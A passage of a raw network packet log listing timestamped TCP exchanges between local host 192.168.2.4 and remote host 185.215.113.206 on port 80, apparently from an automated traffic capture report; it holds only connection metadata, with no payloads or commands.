Dec 9, 2024 20:27:35.623462915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.623472929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.623477936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.623497963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.623518944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.623569965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.623583078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.623594999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.623615980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.623639107 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.624274969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.624286890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.624298096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.624317884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.624346972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.624408960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.624422073 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.624432087 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.624445915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.624456882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.624459028 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.624475956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.624504089 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.625215054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.625227928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.625237942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.625251055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.625262976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.625277042 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.625308037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.625351906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.625371933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.625386000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.625395060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.625396967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.625416040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.625433922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.626024961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626080990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.626198053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626209021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626240015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.626271963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.626475096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626633883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626646042 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626682997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.626698971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626710892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.626712084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626720905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626730919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.626741886 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.626761913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.626786947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.627477884 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.627495050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.627509117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.627521038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.627532005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.627543926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.627543926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.627556086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.627568007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.627578974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.627584934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.627604008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.627621889 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.628406048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.628417969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.628428936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.628442049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.628453016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.628470898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.628513098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.628554106 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.628566027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.628576994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.628607035 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.628622055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.629271030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.629285097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.629297018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.629311085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.629323006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.629333973 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.629337072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.629345894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.629358053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.629378080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.629400015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.630060911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.630074978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.630119085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.630212069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.630225897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.630237103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.630269051 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.630292892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.630310059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.630338907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.630352020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.630379915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.630398035 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.631011963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.631025076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.631042004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.631052971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.631063938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.631074905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.631086111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.631087065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.631150007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.631176949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.631305933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.631827116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.631879091 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.631989002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632003069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632030964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.632050991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.632328033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632339954 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632353067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632386923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.632430077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.632469893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632483006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632493973 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632505894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632515907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632527113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.632560968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.632944107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632960081 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632972002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632983923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.632987976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.632997990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633013964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633014917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633025885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633038998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633044958 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633050919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633073092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633095026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633100033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633111954 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633121967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633137941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633150101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633158922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633162022 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633173943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633182049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633204937 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633219957 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633434057 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633447886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633461952 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633479118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633497953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633580923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633593082 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633604050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633616924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.633630991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633642912 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.633682013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634182930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634197950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634208918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634222031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634223938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634233952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634257078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634278059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634315968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634330988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634341955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634354115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634360075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634366035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634382010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634455919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634624958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634637117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634649038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634660959 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634670019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634673119 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634685040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634696007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634706020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634708881 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634721994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634732008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634736061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634751081 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634773016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634776115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634785891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634797096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634809017 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634814024 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634823084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634826899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634835958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634846926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634855032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634881973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634886980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.634888887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.634929895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.635560989 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.635572910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.635585070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.635620117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.635633945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.746001959 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.746038914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.746119976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.746562958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.746609926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.746664047 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.746710062 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.747523069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.747570038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.747575998 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.747617960 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.748472929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.748521090 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.748774052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.748821974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.748891115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.748931885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.749404907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.749453068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.749475956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.749521971 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.750422001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.750458956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.750474930 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.750499964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.751487970 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.751519918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.751542091 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.751563072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.752424002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.752521992 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.752572060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.753479004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.753536940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.753544092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.753586054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.754489899 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.754523039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.754568100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.755400896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.755486965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.755531073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.756405115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.756501913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.756570101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.757384062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.757436991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.757479906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.757525921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.758433104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.758479118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.758522034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.759402990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.759432077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.759449959 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.759475946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.760400057 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.760445118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.760461092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.760483980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.761442900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.761495113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.761548996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.761668921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.762414932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.762454033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.762455940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.762496948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.763425112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.763468981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.763633013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.763689995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.764404058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.764472961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.764552116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.764811039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.765383959 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.765449047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.765527964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.765568972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.766427040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.766474009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.766477108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.766580105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.767405987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.767457008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.767523050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.767564058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.768444061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.768495083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.768496990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.768536091 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.769418001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.769470930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.769515991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.770370007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.770416021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.770564079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.770692110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.771370888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.771421909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.771470070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.771514893 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.772392988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.772452116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.772502899 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.772546053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.773391008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.773453951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.773953915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.774080038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.774350882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.774411917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.774480104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.774627924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.775465965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.775516987 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.775552034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.775634050 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.776362896 CET	80	49740	185.215.113.206	192.168.2.4
